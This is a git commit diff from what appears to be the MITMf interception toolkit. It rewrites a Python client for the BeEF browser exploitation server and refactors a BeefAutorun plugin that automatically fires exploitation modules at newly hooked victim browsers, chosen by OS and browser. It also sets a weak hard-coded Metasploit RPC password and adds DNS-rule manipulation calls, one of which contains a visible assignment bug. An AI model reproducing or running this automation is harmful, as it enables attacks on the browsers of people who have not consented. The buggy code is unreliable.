Re-Wrote Beef-api, refactored the beefAutorun plugin as per #113, this also should address any problems left over from #106

This commit is contained in:
byt3bl33d3r 2015-06-08 04:13:55 +02:00
parent 7110238fb2
commit 316246e3cc
7 changed files with 339 additions and 201 deletions

View file

@ -21,6 +21,7 @@
msfport = 8080 #Port to start Metasploit's webserver on that will host exploits msfport = 8080 #Port to start Metasploit's webserver on that will host exploits
rpcip = 127.0.0.1 rpcip = 127.0.0.1
rpcport = 55552
rpcpass = abc123 rpcpass = abc123
[[SMB]] [[SMB]]

View file

@ -1,26 +1,41 @@
#!/usr/bin/env python #! /usr/bin/env python2.7
# BeEF-API - A Python API for BeEF (The Browser Exploitation Framework) http://beefproject.com/
# Copyright (c) 2015-2016 Marcello Salvati - byt3bl33d3r@gmail.com
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License as
# published by the Free Software Foundation; either version 3 of the
# License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful, but
# WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
# General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
# USA
#
import requests import requests
import json import json
import logging import logging
from random import sample
from string import lowercase, digits from UserList import UserList
logging.getLogger("requests").setLevel(logging.WARNING) #Disables "Starting new HTTP Connection (1)" log message logging.getLogger("requests").setLevel(logging.WARNING) #Disables "Starting new HTTP Connection (1)" log message
class BeefAPI: class BeefAPI:
def __init__(self, opts=[]): def __init__(self, opts=[]):
self.host = "127.0.0.1" or opts.get(host) self.host = opts.get('host') or "127.0.0.1"
self.port = "3000" or opts.get(port) self.port = opts.get('port') or "3000"
self.token = None self.token = None
self.url = "http://%s:%s/api/" % (self.host, self.port) self.url = "http://{}:{}/api/".format(self.host, self.port)
self.login_url = self.url + "admin/login" self.login_url = self.url + "admin/login"
self.hookurl = self.url + "hooks?token="
self.mod_url = self.url + "modules?token="
self.log_url = self.url + "logs?token="
def random_url(self):
return "".join(sample(digits + lowercase, 8))
def login(self, username, password): def login(self, username, password):
try: try:
@ -30,142 +45,269 @@ class BeefAPI:
if (r.status_code == 200) and (data["success"]): if (r.status_code == 200) and (data["success"]):
self.token = data["token"] #Auth token self.token = data["token"] #Auth token
self.hooks_url = "{}hooks?token={}".format(self.url, self.token)
self.modules_url = "{}modules?token={}".format(self.url, self.token)
self.logs_url = "{}logs?token={}".format(self.url, self.token)
self.dns_url = "{}dns/ruleset?token={}".format(self.url, self.token)
return True return True
elif r.status_code != 200: elif r.status_code != 200:
return False return False
except Exception, e: except Exception as e:
print "beefapi ERROR: %s" % e print "[BeEF-API] Error logging in to BeEF: {}".format(e)
def sessions_online(self): @property
return self.get_sessions("online", "session") def hooked_browsers(self):
r = requests.get(self.hooks_url)
return Hooked_Browsers(r.json(), self.url, self.token)
def sessions_offline(self): @property
return self.get_sessions("offline", "session") def dns(self):
r = requests.get(self.dns_url)
def session2host(self, session): return DNS(r.json(), self.url, self.token)
return self.conversion(session, "ip")
def session2id(self, session):
return self.conversion(session, "id")
def hook_info(self, hook): #Returns parsed information on a session
session = self.conversion(hook, "session")
url = self.hookurl + self.token
r = requests.get(url).json()
try:
states = ["online", "offline"]
for state in states:
for v in r["hooked-browsers"][state].items():
if v[1]["session"] == session:
return v[1]
except IndexError:
pass
def hook_info_all(self, hook):
session = self.conversion(hook, "session")
url = self.url + "hooks/%s?token=%s" % (session, self.token)
return requests.get(url).json()
def hook_logs(self, hook):
session = self.conversion(hook, "session")
url = self.url + "logs/%s?token=%s" % (session, self.token)
return requests.get(url).json()
def hosts_online(self):
return self.get_sessions("online", "ip")
def hosts_offline(self):
return self.get_sessions("offline", "ip")
def host2session(self, host):
return self.conversion(host, "session")
def host2id(self, host):
return self.conversion(host, "id")
def ids_online(self):
return self.get_sessions("online", "id")
def ids_offline(self):
return self.get_sessions("offline", "id")
def id2session(self, id):
return self.conversion(id, "session")
def id2host(self, id):
return self.conversion(id, "ip")
def module_id(self, name): #Returns module id
url = self.mod_url + self.token
try:
r = requests.get(url).json()
for v in r.values():
if v["name"] == name:
return v["id"]
except Exception, e:
print "beefapi ERROR: %s" % e
def module_name(self, id): #Returns module name
url = self.mod_url + self.token
try:
r = requests.get(url).json()
for v in r.values():
if v["id"] == id:
return v["name"]
except Exception, e:
print "beefapi ERROR: %s" % e
def module_run(self, hook, mod_id, options={}): #Executes a module on a specified session
try:
session = self.conversion(hook, "session")
headers = {"Content-Type": "application/json", "charset": "UTF-8"}
payload = json.dumps(options)
url = self.url + "modules/%s/%s?token=%s" % (session, mod_id, self.token)
return requests.post(url, headers=headers, data=payload).json()
except Exception, e:
print "beefapi ERROR: %s" % e
def module_results(self, hook, mod_id, cmd_id):
session = self.conversion(hook, "session")
url = self.mod_url + "%s/%s/%s?token=%s" % (session, mod_id, cmd_id, self.token)
return requests.get(url).json()
def modules_list(self):
return requests.get(self.mod_url + self.token).json()
def module_info(self, id):
url = self.url + "modules/%s?token=%s" % (id, self.token)
return requests.get(url).json()
@property
def logs(self): def logs(self):
return requests.get(self.log_url + self.token).json() logs = []
r = requests.get(self.logs_url)
for log in r.json()['logs']:
logs.append(Log(log))
return logs
def conversion(self, value, return_value): #Helper function for all conversion functions @property
url = self.hookurl + self.token def modules(self):
try: modules = ModuleList([])
r = requests.get(url).json() r = requests.get(self.modules_url)
states = ["online", "offline"] for k,v in r.json().iteritems():
for state in states: modules.append(Module(v, self.url, self.token))
for v in r["hooked-browsers"][state].items(): return modules
for r in v[1].values():
if str(value) == str(r):
return v[1][return_value]
except Exception, e: class ModuleList(UserList):
print "beefapi ERROR: %s" % e
except IndexError: def __init__(self, mlist):
pass self.data = mlist
def get_sessions(self, state, value): #Helper function def findbyid(self, m_id):
try: for m in self.data:
hooks = [] if m_id == m.id:
r = requests.get(self.hookurl + self.token).json() return m
for v in r["hooked-browsers"][state].items():
hooks.append(v[1][value])
return hooks def findbyname(self, m_name):
except Exception, e: pmodules = ModuleList([])
print "beefapi ERROR: %s" % e for m in self.data:
if (m.name.lower().find(m_name.lower()) != -1) :
pmodules.append(m)
return pmodules
class SessionList(UserList):
def __init__(self, slist):
self.data = slist
def findbysession(self, session):
for s in self.data:
if s.session == session:
return s
def findbyos(self, os):
res = SessionList([])
for s in self.data:
if (s.os.lower().find(os.lower()) != -1):
res.append(s)
return res
def findbyip(self, ip):
res = SessionList([])
for s in self.data:
if ip == s.ip:
res.append(s)
return res
def findbyid(self, s_id):
for s in self.data:
if s.id == s_id:
return s
def findbybrowser(self, browser):
res = SessionList([])
for s in self.data:
if browser == s.name:
res.append(s)
return res
def findbybrowser_v(self, browser_v):
res = SessionList([])
for s in self.data:
if browser_v == s.version:
res.append(s)
return res
def findbypageuri(self, uri):
res = SessionList([])
for s in self.data:
if uri in s.page_uri:
res.append(s)
return res
def findbydomain(self, domain):
res = SessionList([])
for s in self.data:
if domain in s.domain:
res.append(s)
return res
class Module(object):
def __init__(self, data, url, token):
self.url = url
self.token = token
self.id = data['id']
self.name = data['name']
self.category = data['category']
@property
def options(self):
r = requests.get("{}/modules/{}?token={}".format(self.url, self.id, self.token)).json()
return r['options']
@property
def description(self):
r = requests.get("{}/modules/{}?token={}".format(self.url, self.id, self.token)).json()
return r['description']
def run(self, session, options={}):
headers = {"Content-Type": "application/json", "charset": "UTF-8"}
payload = json.dumps(options)
r = requests.post("{}/modules/{}/{}?token={}".format(self.url, session, self.id, self.token), headers=headers, data=payload)
return r.json()
def multi_run(self, options={}, hb_ids=[]):
headers = {"Content-Type": "application/json", "charset": "UTF-8"}
payload = json.dumps({"mod_id":self.id, "mod_params": options, "hb_ids": hb_ids})
r = requests.post("{}/modules/multi_browser?token={}".format(self.url, self.token), headers=headers, data=payload)
return r.json()
def results(self, session, cmd_id):
r = requests.get("{}/modules/{}/{}/{}?token={}".format(self.url, session, self.id, cmd_id, self.token))
return r.json()
class Log(object):
def __init__(self, log_dict):
self.id = log_dict['id']
self.date = log_dict['date']
self.event = log_dict['event']
self.type = log_dict['type']
class DNS_Rule(object):
def __init__(self, rule, url, token):
self.url = url
self.token = token
self.id = rule['id']
self.pattern = rule['pattern']
self.type = rule['type']
self.response = rule=['response']
def delete(self):
r = requests.delete("{}/dns/rule/{}?token={}".format(self.url, self.id, self.token))
return r.json()
class DNS(object):
def __init__(self, data, url, token):
self.data = data
self.url = url
self.token = token
@property
def ruleset(self):
ruleset = []
r = requests.get("{}/dns/ruleset?token={}".format(self.url, self.token))
for rule in r.json()['ruleset']:
ruleset.append(DNS_Rule(rule, self.url, self.token))
return ruleset
def add(self, pattern, resource, response=[]):
headers = {"Content-Type": "application/json", "charset": "UTF-8"}
payload = json.dumps({"pattern": pattern, "resource": resource, "response": response})
r = requests.post("{}/dns/rule?token={}".format(self.url, self.token), headers=headers, data=payload)
return r.json()
def delete(self, rule_id):
r = requests.delete("{}/dns/rule/{}?token={}".format(self.url, rule_id, self.token))
return r.json()
class Hooked_Browsers(object):
def __init__(self, data, url, token):
self.data = data
self.url = url
self.token = token
@property
def online(self):
sessions = SessionList([])
for k,v in self.data['hooked-browsers']['online'].iteritems():
sessions.append(Session(v['session'], self.data, self.url, self.token))
return sessions
@property
def offline(self):
sessions = SessionList([])
for k,v in self.data['hooked-browsers']['offline'].iteritems():
sessions.append(Session(v['session'], self.data, self.url, self.token))
return sessions
class Session(object):
def __init__(self, session, data, url, token):
self.session = session
self.data = data
self.url = url
self.token = token
self.domain = self.get_property('domain')
self.id = self.get_property('id')
self.ip = self.get_property('ip')
self.name = self.get_property('name') #Browser name
self.os = self.get_property('os')
self.page_uri = self.get_property('page_uri')
self.platform = self.get_property('platform') #Ex. win32
self.port = self.get_property('port')
self.version = self.get_property('version') #Browser version
@property
def details(self):
r = requests.get('{}/hooks/{}?token={}'.format(self.url, self.session, self.token))
return r.json()
@property
def logs(self):
logs = []
r = requests.get('{}/logs/{}?token={}'.format(self.url, self.session, self.token))
for log in r.json()['logs']:
logs.append(Log(log))
return logs
def run(self, module_id, options={}):
headers = {"Content-Type": "application/json", "charset": "UTF-8"}
payload = json.dumps(options)
r = requests.post("{}/modules/{}/{}?token={}".format(self.url, self.session, module_id, self.token), headers=headers, data=payload)
return r.json()
def multi_run(self, options={}):
headers = {"Content-Type": "application/json", "charset": "UTF-8"}
payload = json.dumps({"hb": self.session, "modules":[options]})
r = requests.post("{}/modules/multi_module?token={}".format(self.url, self.token), headers=headers, data=payload)
return r.json()
def get_property(self, key):
for k,v in self.data['hooked-browsers'].iteritems():
for l,s in v.iteritems():
if self.session == s['session']:
return s[key]

View file

@ -95,7 +95,9 @@ class Msf:
''' '''
def __init__(self): def __init__(self):
try: try:
self.msf = Msfrpc({"host": ConfigWatcher.config['MITMf']['Metasploit']['rpcip']}) self.msf = Msfrpc({"host": ConfigWatcher.config['MITMf']['Metasploit']['rpcip'],
"port": ConfigWatcher.config['MITMf']['Metasploit']['rpcport']})
self.msf.login('msf', ConfigWatcher.config['MITMf']['Metasploit']['rpcpass']) self.msf.login('msf', ConfigWatcher.config['MITMf']['Metasploit']['rpcpass'])
except Exception as e: except Exception as e:
shutdown("[Msfrpc] Error connecting to Metasploit: {}".format(e)) shutdown("[Msfrpc] Error connecting to Metasploit: {}".format(e))

View file

@ -158,9 +158,10 @@ for p in ProxyPlugins.getInstance().plist:
p.pluginReactor(strippingFactory) #we pass the default strippingFactory, so the plugins can use it p.pluginReactor(strippingFactory) #we pass the default strippingFactory, so the plugins can use it
p.startConfigWatch() p.startConfigWatch()
t = threading.Thread(name='{}-thread'.format(p.name), target=p.startThread, args=(args,)) if hasattr(p, 'startThread'):
t.setDaemon(True) t = threading.Thread(name='{}-Thread'.format(p.name), target=p.startThread)
t.start() t.setDaemon(True)
t.start()
print "|" print "|"
print "|_ Sergio-Proxy v{} online".format(sergio_version) print "|_ Sergio-Proxy v{} online".format(sergio_version)

View file

@ -21,6 +21,7 @@
import logging import logging
import sys import sys
import json import json
import threading
from time import sleep from time import sleep
from core.beefapi import BeefAPI from core.beefapi import BeefAPI
@ -44,9 +45,6 @@ class BeefAutorun(Inject, Plugin):
Inject.initialize(self, options) Inject.initialize(self, options)
self.tree_info.append("Mode: {}".format(self.config['BeEFAutorun']['mode'])) self.tree_info.append("Mode: {}".format(self.config['BeEFAutorun']['mode']))
self.onConfigChange()
def onConfigChange(self):
beefconfig = self.config['MITMf']['BeEF'] beefconfig = self.config['MITMf']['BeEF']
@ -54,73 +52,71 @@ class BeefAutorun(Inject, Plugin):
self.beef = BeefAPI({"host": beefconfig['beefip'], "port": beefconfig['beefport']}) self.beef = BeefAPI({"host": beefconfig['beefip'], "port": beefconfig['beefport']})
if not self.beef.login(beefconfig['user'], beefconfig['pass']): if not self.beef.login(beefconfig['user'], beefconfig['pass']):
shutdown("[-] Error logging in to BeEF!") shutdown("[BeEFAutorun] Error logging in to BeEF!")
def startThread(self, options): def startThread(self):
self.autorun() self.autorun()
def onConfigChange(self):
self.initialize(self.options)
def autorun(self): def autorun(self):
already_ran = [] already_ran = []
already_hooked = [] already_hooked = []
while True: while True:
mode = self.config['BeEFAutorun']['mode'] mode = self.config['BeEFAutorun']['mode']
sessions = self.beef.sessions_online()
if (sessions is not None and len(sessions) > 0):
for session in sessions:
if session not in already_hooked: for hook in self.beef.hooked_browsers.online:
info = self.beef.hook_info(session)
mitmf_logger.info("{} >> joined the horde! [id:{}, type:{}-{}, os:{}]".format(info['ip'], info['id'], info['name'], info['version'], info['os']))
already_hooked.append(session)
self.black_ips.append(str(info['ip']))
if mode == 'oneshot': if hook.session not in already_hooked:
if session not in already_ran: mitmf_logger.info("{} [BeEFAutorun] Joined the horde! [id:{}, type:{}-{}, os:{}]".format(hook.ip, hook.id, hook.name, hook.version, hook.os))
self.execModules(session) already_hooked.append(hook.session)
already_ran.append(session) self.black_ips.append(hook.ip)
elif mode == 'loop': if mode == 'oneshot':
self.execModules(session) if hook.session not in already_ran:
sleep(10) self.execModules(hook)
already_ran.append(hook.session)
else: elif mode == 'loop':
sleep(1) self.execModules(hook)
sleep(10)
def execModules(self, session): sleep(1)
session_info = self.beef.hook_info(session)
session_ip = session_info['ip'] def execModules(self, hook):
hook_browser = session_info['name']
hook_os = session_info['os']
all_modules = self.config['BeEFAutorun']["ALL"] all_modules = self.config['BeEFAutorun']["ALL"]
targeted_modules = self.config['BeEFAutorun']["targets"] targeted_modules = self.config['BeEFAutorun']["targets"]
if len(all_modules) > 0: if all_modules:
mitmf_logger.info("{} >> sending generic modules".format(session_ip)) mitmf_logger.info("{} [BeEFAutorun] Sending generic modules".format(hook.ip))
for module, options in all_modules.iteritems(): for module, options in all_modules.iteritems():
mod_id = self.beef.module_id(module)
resp = self.beef.module_run(session, mod_id, json.loads(options)) for m in self.beef.modules.findbyname(module):
if resp["success"] == 'true': resp = m.run(hook.session, json.loads(options))
mitmf_logger.info('{} >> sent module {}'.format(session_ip, mod_id))
else: if resp["success"] == 'true':
mitmf_logger.info('{} >> ERROR sending module {}'.format(session_ip, mod_id)) mitmf_logger.info('{} [BeEFAutorun] Sent module {}'.format(hook.ip, m.id))
else:
mitmf_logger.info('{} [BeEFAutorun] Error sending module {}'.format(hook.ip, m.id))
sleep(0.5) sleep(0.5)
for os in targeted_modules: if (hook.name and hook.os):
if (hook_browser is not None) and (hook_os is not None): for os in targeted_modules:
mitmf_logger.info("{} >> sending targeted modules".format(session_ip)) if (os == hook.os) or (os in hook.os):
if (os in hook_os) or (os == hook_os): mitmf_logger.info("{} [BeEFAutorun] Sending targeted modules".format(hook.ip))
browsers = targeted_modules[os]
if len(browsers) > 0: for browser in targeted_modules[os]:
for browser in browsers: if browser == hook.name:
if browser == hook_browser: for module, options in targeted_modules[os][browser].iteritems():
modules = targeted_modules[os][browser] for m in self.beef.modules.findbyname(module):
if len(modules) > 0: resp = m.run(hook.session, json.loads(options))
for module, options in modules.iteritems(): if resp["success"] == 'true':
mod_id = self.beef.module_id(module) mitmf_logger.info('{} [BeEFAutorun] Sent module {}'.format(hook.ip, m.id))
resp = self.beef.module_run(session, mod_id, json.loads(options)) else:
if resp["success"] == 'true': mitmf_logger.info('{} [BeEFAutorun] Error sending module {}'.format(hook.ip, m.id))
mitmf_logger.info('{} >> sent module {}'.format(session_ip, mod_id))
else: sleep(0.5)
mitmf_logger.info('{} >> ERROR sending module {}'.format(session_ip, mod_id))
sleep(0.5)

View file

@ -48,7 +48,7 @@ class BrowserSniper(BrowserProfiler, Plugin):
msfversion = Msf().version() msfversion = Msf().version()
self.tree_info.append("Connected to Metasploit v{}".format(msfversion)) self.tree_info.append("Connected to Metasploit v{}".format(msfversion))
def startThread(self, options): def startThread(self):
self.snipe() self.snipe()
def onConfigChange(self): def onConfigChange(self):

View file

@ -19,10 +19,6 @@ class Plugin(ConfigWatcher, object):
'''Called if plugin is enabled, passed the options namespace''' '''Called if plugin is enabled, passed the options namespace'''
self.options = options self.options = options
def startThread(self, options):
'''Anything that will subclass this function will be a thread, passed the options namespace'''
return
def clientRequest(self, request): def clientRequest(self, request):
''' '''
Handles all outgoing requests, hooks connectionMade() Handles all outgoing requests, hooks connectionMade()